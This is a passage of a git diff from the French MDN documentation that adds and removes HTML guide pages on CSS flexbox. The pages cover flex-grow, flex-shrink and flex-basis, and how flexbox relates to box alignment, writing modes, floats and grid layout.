Dans le prochain exemple, on dispose de trois éléments dans le conteneur flexible. Chacun mesure 200 pixels de large dans un conteneur qui mesure 500 pixels de large. Si flex-shrink vaut 0, les éléments ne sont pas autorisés à rétrécir et ils dépassent donc de la boîte.

+ +

{{EmbedGHLiveSample("css-examples/flexbox/ratios/flex-shrink.html", '100%', 500)}}

+ +

En passant la valeur de flex-shrink à 1, on peut voir que la taille de chaque élément diminue de la même façon afin que l'ensemble des objets tiennent dans la boîte. Les éléments ont désormais une taille inférieure à leur taille initiale.

+ +

Combiner flex-shrink et flex-basis

+ +

On pourrait dire et penser que flex-shrink fonctionne de la même façon que flex-grow. Toutefois, deux arguments viennent contrecarrer cette analogie.

+ +

Le premier, expliqué de façon subtile dans la spécification est la différence de comportement entre flex-shrink et l'espace libre négatif et celui de flex-grow avec l'espace libre positif :

+ +
+

“Note : Le coefficient flex-shrink est multiplié par la taille de base (flex-basis) lors de la distribution de l'espace négatif. Ainsi, l'espace négatif est distribué proportionnellement au rétrécissement possible de l'élément. Autrement dit, un petit élément ne sera pas réduit à une taille nulle avant qu'un plus grand élément n'ait été réduit de façon notable.”

+
+ +

Le second argument s'explique par l'impossibilité de réduire les petits éléments à une taille nulle lors de la suppression de l'espace libre négatif. Les éléments seront au maximum rétrécis jusqu'à obtenir leur taille  min-content — c'est-à-dire la taille qu'ils obtiennent s'ils utilisent tous les emplacements de rupture de ligne possibles.

+ +

On peut observer ce seuil avec min-content dans l'exemple qui suit où flex-basis est résolu avec la taille du contenu. Si on change la largeur du conteneur flexible (en l'augmentant à 700 pixels par exemple) puis en réduisant la largeur de l'élément flexible, on peut voir que les deux premiers objets passent à la ligne. Toutefois, ils ne deviennent pas plus petits que min-content. Lorsque la boîte se réduit, l'espace est simplement retiré du troisième élément.

+ +

{{EmbedGHLiveSample("css-examples/flexbox/ratios/flex-shrink-min-content.html", '100%', 500)}}

+ +

En pratique, cette méthode de rétrécissement fournit des résultats prévisibles, car on ne souhaite pas que le contenu disparaisse entièrement ou que les boîtes soient plus petites que leur contenu minimal. Les règles présentées ci-avant sont donc pertinentes lorsqu'on souhaite rétrécir des objets afin qu'ils rentrent dans un conteneur.

+ +

Utiliser différents coefficients flex-shrink pour différents éléments

+ +

Comme avec flex-grow, on peut utiliser différents coefficients flex-shrink. Cela permet de modifier le comportement par défaut et on peut ainsi avoir un élément qui se réduit plus ou moins rapidement que ses voisins (voire qui ne se réduit pas du tout).

+ +

Dans l'exemple suivant, le premier objet possède un coefficient flex-shrink égal à 1, le deuxième a un coefficient égal à 0 (il ne rétrécira pas du tout) et le troisième est paramétré avec 4. Ainsi, le troisième élément rétrécit plus vite que le premier. N'hésitez pas à utiliser différentes valeurs pour observer le résultat obtenu. De la même façon qu'avec flex-grow, on peut utiliser nombres entiers ou des nombres décimaux, utilisez ce qui vous paraît le plus pertinent.

+ +

{{EmbedGHLiveSample("css-examples/flexbox/ratios/flex-shrink-ratios.html", '100%', 570)}}

+ +

Maîtriser le dimensionnement des objets flexibles

+ +

Comprendre le dimensionnement des objets flexibles revient avant tout à comprendre les différentes étapes qui sont déroulées et notamment celles-ci que nous avons pu étudier dans ces guides :

+ +

Quelle est la taille de base de l'objet ?

+ +
    +
  1. Si  flex-basis vaut auto et que l'objet possède une dimension explicitement définie, c'est cette dimension qui sera utilisée.
    2. +
  2. Si  flex-basis vaut auto ou content (pour les navigateurs qui prennent en charge cette valeur), c'est la taille du contenu qui déterminera la taille de base de l'élément
    3. +
  3. Si flex-basis est exprimée avec une valeur de longueur non nulle, c'est cette valeur qui sera la taille de base de l'élément.
    4. +
  4. Si  flex-basis vaut 0, la taille de l'élément n'est pas pris en compte lors de la répartition de l'espace.
    5. +
+ +

De l'espace est-il disponible ?

+ +

Les objets ne s'étendent pas s'il n'y a pas d'espace libre positif et ne se réduisent pas s'il n'y a pas d'espace libre négatif.

+ +
    +
  1. Si on prend tous les objets et qu'on somme leur dimension principale (la largeur si on travaille en ligne ou la hauteur si on travaille en colonne) et qu'on obtient une quantité inférieure à la dimension principale du conteneur, on aura alors un espace libre positif et c'est la propriété flex-grow qui entrera en jeu.
    2. +
  2. Si cette somme dépasse la taille du conteneur flexible, on aura alors un espace libre négatif et c'est la propriété flex-shrink qui sera utilisée.
    3. +
+ +

Les autres façons de distribuer l'espace

+ +

Si on ne souhaite pas ajouter d'espace aux objets, on pourra tout aussi bien répartir cet espace libre entre les objets ou autour grâce aux propriétés d'alignement vu dans le guide sur l'alignement. La propriété {{cssxref("justify-content")}} permettra de répartir cet espace entre les objets ou autour d'eux. Les marges automatiques peuvent être utilisées sur les objets flexibles afin d'absorber l'espace et de créer des gouttières entre ces objets.

+ +

Tout ces outils relatifs aux boîtes flexibles vous permettent d'accomplir la plupart des dispositions et n'auront plus de secret au fur et à mesure de vos essais et expérimentations.

diff --git "a/files/fr/web/css/css_flexible_box_layout/contr\303\264ler_les_proportions_des_bo\303\256tes_flexibles_le_long_de_l_axe_principal/index.html" "b/files/fr/web/css/css_flexible_box_layout/contr\303\264ler_les_proportions_des_bo\303\256tes_flexibles_le_long_de_l_axe_principal/index.html" deleted file mode 100644 index a05bdb1ca2..0000000000 --- "a/files/fr/web/css/css_flexible_box_layout/contr\303\264ler_les_proportions_des_bo\303\256tes_flexibles_le_long_de_l_axe_principal/index.html" +++ /dev/null @@ -1,200 +0,0 @@ ---- -title: Contrôler les proportions des boîtes flexibles le long de l'axe principal -slug: >- - Web/CSS/CSS_Flexible_Box_Layout/Contrôler_les_proportions_des_boîtes_flexibles_le_long_de_l_axe_principal -tags: - - Boîtes flexibles - - CSS - - Flex - - Guide - - Intermediate - - flexbox -translation_of: >- - Web/CSS/CSS_Flexible_Box_Layout/Controlling_Ratios_of_Flex_Items_Along_the_Main_Ax ---- -
{{CSSRef}}
- -

Dans ce guide, nous verrons les trois propriétés appliquées aux éléments flexibles qui permettent de contrôler leurs tailles et flexibilités le long de l'axe principal : {{cssxref("flex-grow")}}, {{cssxref("flex-shrink")}} et {{cssxref("flex-basis")}}. Comprendre le fonctionnement de ces propriétés est primordial pour maîtriser les boîtes flexibles.

- -

Un premier aperçu

- -

Ces trois propriétés contrôlent différents aspects relatifs à la flexibilité des éléments :

- -
    -
  • flex-grow : quelle proportion de l'espace libre peut-on allouer en supplément à cet élément ?
    • -
  • flex-shrink : quelle proportion de l'espace peut être retirée à cet élément ?
    • -
  • flex-basis : quelle est la taille de l'élément avant tout agrandissement/réduction ?
    • -
- -

Ces propriétés sont généralement définies via la propriété raccourcie {{cssxref("flex")}}. Le code suivant définira flex-grow avec la valeur 2, flex-shrink avec la valeur 1 et flex-basis avec la valeur auto.

- -
.item {
-  flex: 2 1 auto;
-}
-
- -

Dans l'article sur les concepts de base relatifs aux boîtes flexibles, nous avons pu introduire ces propriétés. Ici, nous les étudierons en profondeur afin de comprendre comment le navigateur les interprète.

- -

Les concepts majeurs relatifs à l'axe principal

- -

Avant de rentrer dans le détail des propriétés, définissons certains concepts clés qui interviennent lorsqu'on travaille sur les proportions le long de l'axe principal. Ces concepts se basent sur la taille naturelle des éléments flexibles (avant tout redimensionnement) et sur la notion d'espace libre.

- -

Le dimensionnement des objets flexibles

- -

Afin de connaître l'espace disponible pour l'organisation des éléments flexibles, le navigateur doit connaître la taille de l'élément. Comment faire lorsque les éléments ne sont pas dimensionnés avec une largeur ou une hauteur exprimée dans une unité de longueur absolue ?

- -

CSS permet d'utiliser les valeurs {{cssxref('width','min-content','#min-content')}} et  {{cssxref('width','max-content','#max-content')}} — ces mots-clés sont définis dans la spécification CSS pour le dimensionnement intrinsèque et extrinsèque et ces valeurs peuvent être utilisées comme unité de longueurs.

- -

Dans l'exemple qui suit, on a deux paragraphes qui contiennent chacun une chaîne de caractères. La largeur du premier paragraphe est min-content. Si le navigateur utilisé prend en charge ce mot-clé, on peut voir que le texte passe à la ligne dès que c'est possible, sans dépasser de la boîte. Autrement dit, la longueur min-content correspond à la taille du plus grand mot du paragraphe.

- -

Dans le second paragraphe, on utilise la valeur max-content et on voit le résultat opposé. Le texte prend autant de place que possible et aucun saut à la ligne supplémentaire n'est introduit. Le texte dépasserait de la boîte si le conteneur était trop étroit.

- -

{{EmbedGHLiveSample("css-examples/flexbox/ratios/min-max-content.html", '100%', 750)}}

- -

Si votre navigateur ne prend pas en charge ces mots-clés, les paragraphes seront affichés normalement. La capture d'écran qui suit illustre le résultat obtenu avec un navigateur compatible :

- -

Le premier paragraphe est aussi large que le plus long mot qu'il contient alors que le second est étendu sur une seule ligne et dépasse.

- -

Pour la suite de cet article, gardez à l'esprit l'impact de min-content et max-content lorsque nous verrons les propriétés flex-grow et flex-shrink.

- -

Espace libre positif et négatif

- -

Pour étudier ces propriétés, nous devons définir le concept d'espace libre positif et négatif. Lorsqu'un conteneur flexible possède un espace libre positif, il dispose de plus d'espace qu'il n'est nécessaire pour afficher les éléments flexibles qu'il contient. Si on a, par exemple, un conteneur dont la largeur mesure 500 pixels, la propriété {{cssxref("flex-direction")}} qui vaut row et trois éléments qui mesurent chacun 100 pixels, il reste alors 200 pixels d'espace libre positif qui pourrait être réparti entre les éléments si on le souhaitait.

- -

Une image illustrant l'espace restant après que les éléments aient été affichés.

- -

L'espace libre négatif est l'espace supplémentaire qui aurait été nécessaire pour contenir tous les éléments à l'intérieur du conteneur flexible. Si on dispose d'un conteneur dont la largeur mesure 500 pixels et trois éléments flexibles dont chacun mesure 200, l'espace total occupé mesure 600 pixels et on a donc 100 pixels d'espace libre négatif. Cet espace pourrait être retiré des éléments afin qu'ils soient contenus dans le conteneur.

- -

Les objets dépassent du conteneur.

- -

C'est cette distribution de l'espace libre qu'il est nécessaire de comprendre afin d'étudier les différentes propriétés relatives aux propriétés flexibles.

- -

Les exemples étudiés par la suite utilisent la propriété {{cssxref("flex-direction")}} avec la valeur row, ce sera donc leur largeur qui sera leur dimension principale. Vous pouvez modifier les exemples afin d'utiliser flex-direction: column (dans ce cas, l'axe principal sera celui des colonnes et la dimension principale sera la hauteur).

- -

La propriété flex-basis

- -

La propriété {{cssxref("flex-basis")}} définit la taille initiale de l'élément flexible avant la répartition de l'espace. La valeur initiale de cette propriété est auto. Si  flex-basis vaut auto, le navigateur vérifie si la taille de l'élément est définie de façon absolue et utilise cette valeur pour flex-basis (par exemple si on indique dans la feuille de style que l'élément mesure 200 pixels, c'est cette mesure qui sera utilisée comme valeur pour flex-basis pour cet élément).

- -

Si la taille initiale de l'élément n'est pas définie de façon absolue, auto correspondra à la taille déterminée automatique. C'est là qu'on comprend mieux l'utilité de min- et max-content, car la boîte flexible utilisera max-content comme valeur pour flex-basis. Dans l'exemple suivant, nous verrons comment en tirer parti.

- -

Dans cet exemple, on crée un ensemble de boîtes inflexibles avec la valeur 0 pour flex-grow et flex-shrink. On peut voir comment le premier objet, ayant une largeur explicite de 150 pixels, occupe une flex-basis de 150px tandis que les deux autres objets qui n'ont pas de largeur sont dimensionnés en fonction de la largeur de leur contenu.

- -

{{EmbedGHLiveSample("css-examples/flexbox/ratios/flex-basis.html", '100%', 500)}}

- -

En plus du mot-clé auto, on peut également utiliser le mot-clé content comme valeur pour flex-basis. Ainsi, flex-basis sera calculée en fonction de la taille du contenu, même s'il y a une largeur explicitement définie sur l'objet. Ce mot-clé est plus récent et est moins largement pris en charge. Toutefois, on peut obtenir le même effet en utilisant le mot-clé auto et en s'assurant que l'objet n'a pas de largeur définie, ainsi, le dimensionnement automatique sera effectué en fonction du contenu.

- -

Si on souhaite que la boîte flexible ignore complètement la taille du contenu lors de la répartition de l'espace, on pourra utiliser flex-basis avec la valeur 0. En résumé, cela revient à indiquer que tout l'espace est disponible et peut être réparti proportionnellement. Nous verrons des exemples utilisant cette valeur lorsque nous étudierons flex-grow.

- -

La propriété flex-grow

- -

La propriété {{cssxref("flex-grow")}} définit le coefficient d'agrandissement flexible, qui détermine la façon dont l'objet flexible grandira par rapport aux autres objets flexibles du même conteneur lorsque l'espace libre sera distribué.

- -

Si tous les objets possèdent la même valeur pour le coefficient flex-grow, l'espace sera réparti également entre chacun. Dans ce cas, on utilisera généralement la valeur 1. Ceci étant dit, on pourrait tout aussi bien utiliser la valeur 88, 100 ou 1.2 — ce coefficient est un simple ratio. Si le coefficient est le même pour tous les objets et qu'il reste de l'espace libre dans le conteneur, cet espace sera réparti équitablement.

- -

Combiner flex-grow et flex-basis

- -

Les choses se compliquent lorsque flex-grow et flex-basis interagissent. Prenons un exemple où trois objets flexibles ont chacun des contenus de longueurs différentes et auxquels on applique la règle suivante :

- -

flex: 1 1 auto;

- -

Dans ce cas, flex-basis vaut auto et les objets n'ont pas de largeur explicite définie : ils sont donc dimensionnés automatiquement. Cela signifie que la boîte flexible utilisera la taille max-content des éléments. Après avoir disposé les objets, il reste de l'espace libre dans le conteneur flexible (ce qui correspond à la zone hachurée de la figure suivante) :

- -

Une image illustrant l'espace libre positif avec une zone hachurée.

- -

On utilise ici une valeur flex-basis égale à la taille du contenu, l'espace disponible qui peut être distribué est donc égal à la taille du conteneur (ici sa largeur) moins la taille des éléments. Cet espace est partagé équitablement entre les différents objets. Ainsi, l'objet le plus grand finira avec une taille plus grande, car sa taille de départ est plus importante bien que la même quantité d'espace restant ait été affectée aux autres objets :

- -

L'espace positif est réparti entre les éléments.

- -

Si on souhaite obtenir trois objets de la même taille alors qu'ils ont des tailles initiales différentes, on pourra utiliser :

- -

flex: 1 1 0;

- -

Ici, on indique que, lors de la phase de répartition de l'espace, la taille des objets vaut 0 — tout l'espace peut être utilisé. Or, les trois objets ayant tous le même coefficient flex-grow, ils récupèrent chacun la même quantité d'espace. On obtient donc trois objets flexibles de même largeur.

- -

Vous pouvez modifier le coefficient flex-grow pour le passer de 1 à 0 dans l'exemple qui suit pour observer la façon dont les objets se comportent :

- -

{{EmbedGHLiveSample("css-examples/flexbox/ratios/flex-grow.html", '100%', 520)}}

- -

Affecter différents coefficients flex-grow aux éléments

- -

Notre compréhension du fonctionnement de flex-grow avec flex-basis nous permet de mieux contrôler chacun des éléments en leur affectant différents coefficients flex-grow. Si on conserve la valeur 0 pour flex-basis afin que tout l'espace soit distribué, on pourra affecter différentes valeurs de flex-grow afin qu'ils grandissent différemment. Dans l'exemple qui suit, on utilise les valeurs suivantes :

- -
    -
  • 1 pour le premier élément
    • -
  • 1 pour le deuxième élément
    • -
  • 2 pour le troisième
    • -
- -

On utilise flex-basis avec la valeur 0 ce qui signifie que l'espace disponible est réparti de la façon suivante. On additionne les différents facteurs flex-grow puis on divise l'espace libre du conteneur par cette somme (dans notre exemple, elle vaut 4). Ensuite, on répartit l'espace en fonction des différents coefficients individuels : le premier objet récupère une part d'espace, le deuxième en récupère également une et le dernier récupère deux parts. Autrement dit, le troisième objet sera deux fois plus grand que le premier et le deuxième objet.

- -

{{EmbedGHLiveSample("css-examples/flexbox/ratios/flex-grow-ratios.html", '100%', 520)}}

- -

Rappelons qu'on peut utiliser n'importe quelle valeur positive pour ces facteurs. C'est le rapport entre ces différents facteurs qui importe. Vous pouvez aussi bien utiliser des nombres entiers ou des nombres décimaux. Pour tester cela, vous pouvez changer les coefficients précédents afin de plutôt utiliser respectivement .25, .25 et .50 — vous obtiendrez alors le même résultat.

- -

La propriété flex-shrink

- -

La propriété {{cssxref("flex-shrink")}} définit le coefficient de rétrécissement flexible qui détermine la façon dont l'objet flexible se réduit relatviement aux autres objets du conteneur flexible lorsque l'espace négatif est distribué.

- -

Cette propriété est utilisée lorsque le navigateur calcule les valeurs flex-basis des différents objets flexibles et obtient des valeurs qui dépassent la taille du conteneur flexible. Tant que flex-shrink possède une valeur positive, les éléments pourront rétrécir afin de ne pas dépasser du conteneur.

- -

Ainsi, si flex-grow gère la façon dont on peut ajouter de l'espace disponible, flex-shrink gère la façon dont on retire de l'espace aux boîtes des objets afin qu'ils ne dépassent pas de leur conteneur.

- -

Dans le prochain exemple, on dispose de trois éléments dans le conteneur flexible. Chacun mesure 200 pixels de large dans un conteneur qui mesure 500 pixels de large. Si flex-shrink vaut 0, les éléments ne sont pas autorisés à rétrécir et ils dépassent donc de la boîte.

- -

{{EmbedGHLiveSample("css-examples/flexbox/ratios/flex-shrink.html", '100%', 500)}}

- -

En passant la valeur de flex-shrink à 1, on peut voir que la taille de chaque élément diminue de la même façon afin que l'ensemble des objets tiennent dans la boîte. Les éléments ont désormais une taille inférieure à leur taille initiale.

- -

Combiner flex-shrink et flex-basis

- -

On pourrait dire et penser que flex-shrink fonctionne de la même façon que flex-grow. Toutefois, deux arguments viennent contrecarrer cette analogie.

- -

Le premier, expliqué de façon subtile dans la spécification est la différence de comportement entre flex-shrink et l'espace libre négatif et celui de flex-grow avec l'espace libre positif :

- -
-

“Note : Le coefficient flex-shrink est multiplié par la taille de base (flex-basis) lors de la distribution de l'espace négatif. Ainsi, l'espace négatif est distribué proportionnellement au rétrécissement possible de l'élément. Autrement dit, un petit élément ne sera pas réduit à une taille nulle avant qu'un plus grand élément n'ait été réduit de façon notable.”

-
- -

Le second argument s'explique par l'impossibilité de réduire les petits éléments à une taille nulle lors de la suppression de l'espace libre négatif. Les éléments seront au maximum rétrécis jusqu'à obtenir leur taille  min-content — c'est-à-dire la taille qu'ils obtiennent s'ils utilisent tous les emplacements de rupture de ligne possibles.

- -

On peut observer ce seuil avec min-content dans l'exemple qui suit où flex-basis est résolu avec la taille du contenu. Si on change la largeur du conteneur flexible (en l'augmentant à 700 pixels par exemple) puis en réduisant la largeur de l'élément flexible, on peut voir que les deux premiers objets passent à la ligne. Toutefois, ils ne deviennent pas plus petits que min-content. Lorsque la boîte se réduit, l'espace est simplement retiré du troisième élément.

- -

{{EmbedGHLiveSample("css-examples/flexbox/ratios/flex-shrink-min-content.html", '100%', 500)}}

- -

En pratique, cette méthode de rétrécissement fournit des résultats prévisibles, car on ne souhaite pas que le contenu disparaisse entièrement ou que les boîtes soient plus petites que leur contenu minimal. Les règles présentées ci-avant sont donc pertinentes lorsqu'on souhaite rétrécir des objets afin qu'ils rentrent dans un conteneur.

- -

Utiliser différents coefficients flex-shrink pour différents éléments

- -

Comme avec flex-grow, on peut utiliser différents coefficients flex-shrink. Cela permet de modifier le comportement par défaut et on peut ainsi avoir un élément qui se réduit plus ou moins rapidement que ses voisins (voire qui ne se réduit pas du tout).

- -

Dans l'exemple suivant, le premier objet possède un coefficient flex-shrink égal à 1, le deuxième a un coefficient égal à 0 (il ne rétrécira pas du tout) et le troisième est paramétré avec 4. Ainsi, le troisième élément rétrécit plus vite que le premier. N'hésitez pas à utiliser différentes valeurs pour observer le résultat obtenu. De la même façon qu'avec flex-grow, on peut utiliser nombres entiers ou des nombres décimaux, utilisez ce qui vous paraît le plus pertinent.

- -

{{EmbedGHLiveSample("css-examples/flexbox/ratios/flex-shrink-ratios.html", '100%', 570)}}

- -

Maîtriser le dimensionnement des objets flexibles

- -

Comprendre le dimensionnement des objets flexibles revient avant tout à comprendre les différentes étapes qui sont déroulées et notamment celles-ci que nous avons pu étudier dans ces guides :

- -

Quelle est la taille de base de l'objet ?

- -
    -
  1. Si  flex-basis vaut auto et que l'objet possède une dimension explicitement définie, c'est cette dimension qui sera utilisée.
    2. -
  2. Si  flex-basis vaut auto ou content (pour les navigateurs qui prennent en charge cette valeur), c'est la taille du contenu qui déterminera la taille de base de l'élément
    3. -
  3. Si flex-basis est exprimée avec une valeur de longueur non nulle, c'est cette valeur qui sera la taille de base de l'élément.
    4. -
  4. Si  flex-basis vaut 0, la taille de l'élément n'est pas pris en compte lors de la répartition de l'espace.
    5. -
- -

De l'espace est-il disponible ?

- -

Les objets ne s'étendent pas s'il n'y a pas d'espace libre positif et ne se réduisent pas s'il n'y a pas d'espace libre négatif.

- -
    -
  1. Si on prend tous les objets et qu'on somme leur dimension principale (la largeur si on travaille en ligne ou la hauteur si on travaille en colonne) et qu'on obtient une quantité inférieure à la dimension principale du conteneur, on aura alors un espace libre positif et c'est la propriété flex-grow qui entrera en jeu.
    2. -
  2. Si cette somme dépasse la taille du conteneur flexible, on aura alors un espace libre négatif et c'est la propriété flex-shrink qui sera utilisée.
    3. -
- -

Les autres façons de distribuer l'espace

- -

Si on ne souhaite pas ajouter d'espace aux objets, on pourra tout aussi bien répartir cet espace libre entre les objets ou autour grâce aux propriétés d'alignement vu dans le guide sur l'alignement. La propriété {{cssxref("justify-content")}} permettra de répartir cet espace entre les objets ou autour d'eux. Les marges automatiques peuvent être utilisées sur les objets flexibles afin d'absorber l'espace et de créer des gouttières entre ces objets.

- -

Tout ces outils relatifs aux boîtes flexibles vous permettent d'accomplir la plupart des dispositions et n'auront plus de secret au fur et à mesure de vos essais et expérimentations.

diff --git a/files/fr/web/css/css_flexible_box_layout/liens_entre_flexbox_et_les_autres_dispositions/index.html b/files/fr/web/css/css_flexible_box_layout/liens_entre_flexbox_et_les_autres_dispositions/index.html deleted file mode 100644 index c6e9691ae5..0000000000 --- a/files/fr/web/css/css_flexible_box_layout/liens_entre_flexbox_et_les_autres_dispositions/index.html +++ /dev/null @@ -1,125 +0,0 @@ ---- -title: Les liens entre flexbox et les autres méthodes de disposition -slug: Web/CSS/CSS_Flexible_Box_Layout/Liens_entre_flexbox_et_les_autres_dispositions -tags: - - CSS - - Guide - - display - - flexbox - - grid -translation_of: >- - Web/CSS/CSS_Flexible_Box_Layout/Relationship_of_Flexbox_to_Other_Layout_Methods ---- -
{{CSSRef}}
- -

Dans cet article, nous verrons comment les boîtes flexibles interagissent avec les autres modules CSS. Nous verrons quelles sont les spécifications qui décrivent les boîtes flexibles et pourquoi les boîtes flexibles sont différentes des autres modules.

- -
-

Note : Dans les versions 1 et 2 de CSS, la spécification était « monolithique » et décrite dans un seul document. Évoluant vers un langage riche possédant de nombreuses fonctionnalité, la maintenance de cette spécification unique est devenue problématiques, certaines parties évoluant à différentes vitesses. La spécification CSS a donc été modularisée et ce sont ces différents modules qui constituent CSS aujourd'hui. Ces modules sont liés les uns aux autres et sont chacun à différents stades de développement.

-
- -

Le module d'alignement des boîtes (Box Alignment)

- -

La plupart des personnes s'intéressent aux boîtes flexibles car elles permettent d'aligner efficacement des éléments flexibles au sein d'un conteneur. Les boîtes flexibles permettent d'utiliser des propriétés pour aligner les éléments sur l'axe secondaire et de les justifier sur l'axe principal.

- -

Ces propriétés sont apparues dans la spécification dédiée aux boîtes flexibles mais font désormais également partie de la spécification sur l'alignement des boîtes (Box Alignment). Cette spécification détaille la façon dont l'alignement fonctionne pour l'ensemble des dispositions (et pas uniquement pour les boîtes flexibles). L'alignement des boîtes permet de gérer l'alignement et la justification, ainsi que la distribution de l'espace le long d'un axe.

- -

Ces propriétés d'alignement sont actuellement détaillées dans les spécifications de flexbox et d'alignement des boîtes afin d'être sûr que la spécification des boîtes flexibles n'est pas bloquée par l'état de la spécification sur l'alignement des boîtes. Dans la spécification flexbox, une note indique que lorsque la spécification sur l'alignement des boîtes sera terminée, ces définitions remplaceront celles de la spécification sur les boîtes flexibles :

- -
-

« Note : Bien que les propriétés d'alignement soient définies dans le module CSS Box Alignment CSS-ALIGN-3, le module Flexible Box Layout reproduit les définitions des propriétés qui sont ici pertinentes afin de ne pas créer de dépendance normative qui ralentirait l'avancement de la spécification. Ces propriétés s'appliquent uniquement à la disposition flexible jusqu'à ce que CSS Box Alignment Level 3 soit terminé et définisse leurs effets pour les autres modes de disposition. De plus, toute nouvelle valeur qui apparaîtra dans le module Box Alignment s'appliquera également à la disposition en boîtes flexibles. Autrement dit, le module Box Alignment, lorsqu'il sera complet, remplacera les définitions énoncées ici. »

-
- -

Dans un prochain article de ce guide (Aligner les éléments d'un conteneur flexibles), nous verrons dans le détail comment les propriétés du module d'alignement des boîtes s'appliquent aux éléments flexibles.

- -

Les propriétés d'espacement (gap)

- -

Récemment, les propriétés {{cssxref("row-gap")}} et {{cssxref("column-gap")}}, ainsi que la propriété raccourcie {{cssxref("gap")}} ont été ajoutées au module d'alignement des boîtes. Ces propriétés furent initialement définies dans la spécification de la grille CSS et étaient nommées grid-row-gap, grid-column-gap et grid-gap. Elles ont été renommées et déplacées dans le module d'alignement des boîtes afin de pouvoir être utilisées dans d'autres modes de disposition et, à terme, avec les boîtes flexibles. Avant la prise en charge des propriétés gap, c'était les propriétés {{cssxref("margin")}} qui étaient utilisées afin de créer des espaces entre les éléments.

- -

Les modes d'écritures (Writing Modes)

- -

Dans l'article sur les concepts de bases relatifs aux flexbox, nous avons vu que les boîtes flexibles prenaient en compte le mode d'écriture (la direction du texte). Les différents modes d'écritures sont décrits dans la spécification CSS Writing Modes qui détaille comment CSS prend en charge les différents modes d'écritures qui existent dans le monde. Cette spécification permet notamment de comprendre les directions de bloc et en ligne qui sont fondamentales pour les axes principal et secondaires des boîtes flexibles.

- -

On notera qu'il est possible de modifier le mode d'écriture d'un document pour d'autres raisons que des raisons linguistiques. Vous pouvez consulter cet article pour en savoir plus sur les différentes façons d'utiliser les modes d'écriture, que ce soit en fonction de la langue du contenu ou pour des raisons créatives.

- -

Les différents modes d'écritures

- -

La spécification sur les modes d'écriture définit les différentes valeurs qui peuvent être utilisées avec la propriété {{cssxref("writing-mode")}}. Cette propriété permet de modifier la direction de la disposition des blocs sur la page pour correspondre à l'orientation d'un mode d'écriture donné. Vous pouvez manipuler l'exemple qui suit en utilisant les valeurs suivantes pour voir l'impact que cela a sur la disposition flexible :

- -
    -
  • horizontal-tb
    • -
  • vertical-rl
    • -
  • vertical-lr
    • -
  • sideways-rl
    • -
  • sideways-lr
    • -
- -

{{EmbedGHLiveSample("css-examples/flexbox/relationship/writing-modes.html", '100%', 360)}} 

- -

Actuellement, seul Firefox prend en charge sideways-rl et sideways-lr. Il existe également certains problèmes relatifs à writing-mode et aux boîtes flexibles. Pour plus d'informations, vous pouvez consulter les informations de compatibilité pour la propriété writing-mode. Toutefois, si vous souhaitez utiliser les modes d'écritures pour votre site/application, il est fortement conseillé de tester les résultats obtenus, ne serait-ce que parce que cela peut fortement nuire à la lisibilité !

- -

On notera que la propriété writing-mode CSS ne doit pas être utilisée pour modifier le mode d'écriture d'un document entier. Cela doit être fait avec HTML en ajoutant un attribut dir et lang sur l'élément html afin d'indiquer la direction du texte par défaut et la langue du document. Ainsi, le document serait correctement affiché, même si le CSS n'était pas chargé.

- -

Les boîtes flexibles et les autres méthodes de disposition

- -

La spécification sur les boîtes flexibles contient une définition de ce qui se produit lorsqu'un élément utilisant une autre méthode de disposition devient un élément flexible (par exemple : un élément est positionné de façon flottante et son élément parent devient un conteneur flexible). Elle décrit également comment un conteneur flexible s'inscrit dans une disposition.

- -

Un élément avec display: flex se comportera majoritairement comme un conteneur de bloc qui établit un bloc englobant. Les éléments flottants ne rentreront pas dans ce conteneur et les marges des conteneurs ne fusionneront pas.

- -

Pour un élément flexible, si celui-ci était avant un élément flottant ou dégagé (cleared) et qu'il devient flexible car son élément parent reçoit display: flex, le flottement et le dégagement ne s'appliquent plus. L'élément ne sera pas retiré du flux normal (ce qui aurait lieu avec un flottement). Si on a utilisé la propriété {{cssxref("vertical-align")}} avec inline-block ou si on a utilisé une disposition tabulaire, cela n'aura plus d'effet et on pourra utiliser les propriétés d'alignement des boîtes flexibles à la place.

- -

Dans le prochain exemple, on applique un flottement sur les éléments fils puis leur conteneur reçoit display: flex. Si vous retirez display: flex, vous pouvez voir que l'élément .box s'écrase car aucun dégagement n'est appliqué. Cela permet de voir que le flottement s'applique. En remettant display: flex, l'élément ne s'écrase plus car les éléments fils sont devenus des éléments flexibles.

- -

{{EmbedGHLiveSample("css-examples/flexbox/relationship/floats.html", '100%', 430)}}

- -

Les boîtes flexibles et la disposition en grille

- -

La disposition en grille (CSS Grid) et les boîtes flexibles agissent de la même façon lorsqu'elles surchargent les autres méthodes de disposition. Les boîtes flexibles pourront être utilisées comme solution de repli si les grilles CSS ne sont pas prises en charge. En effet, les boîtes flexibles bénéficient d'une meilleure prise en charge pour les navigateurs moins récents. Cette approche fonctionne sans problème car, si un élément flexible devient un élément d'une grille, les propriétés flex qui auraient pu être affectées aux éléments enfants seront ignorées.

- -

Les propriétés du module d'alignement des boîtes peuvent être utilisées pour ces deux modes de dispositions.

- -

Flexbox / grille : quelle différence ?

- -

On demande souvent quelle est la différence entre la disposition avec les boîtes flexibles et la disposition avec la grille CSS. Pourquoi avoir deux spécifications quand celles-ci semblent avoir le même effet ?

- -

La réponse la plus directe se trouve dans ces deux spécifications. Les boîtes flexibles sont une méthode de disposition unidimensionnelle alors que la grille CSS est une méthode de disposition bidimensionnelle. Dans l'exemple ci-après, on utilise une disposition avec les boîtes flexibles. Comme nous avons vu dans l'article sur les concepts de base, les éléments flexibles peuvent « passer à la ligne » mais chaque ligne forme alors un conteneur flexible indépendant. On voit ici que l'espace est distribué sans prendre en compte le placement des éléments sur les autres lignes/colonnes, il n'y a pas d'alignement.

- -

{{EmbedGHLiveSample("css-examples/flexbox/relationship/flex-layout.html", '100%', 750)}}

- -

Si on crée une disposition semblable avec une grille, on peut à la fois contrôler la disposition des lignes et des colonnes.

- -

{{EmbedGHLiveSample("css-examples/flexbox/relationship/grid-layout.html", '100%', 700)}}

- -

Ces exemples illustrent une autre différence majeure entre ces méthodes. Avec la disposition en grille, la majeure partie du dimensionnement s'applique au conteneur (on y définit les pistes et on place les éléments sur ces pistes). Avec la disposition utilisant les boîtes flexibles, on crée un conteneur flexible et on indique sa direction, tout le reste est géré au niveau des éléments.

- -

Dans certains cas, les deux méthodes peuvent fonctionner sans problème. En les utilisant plus fréquemment, vous pourrez voir qu'elles répondent à des besoins différents et vous utiliserez sans doute ces deux méthodes dans votre CSS. Comme souvent, il n'y a pas de solution miracle et de « bonne » ou de « mauvaise » réponse.

- -

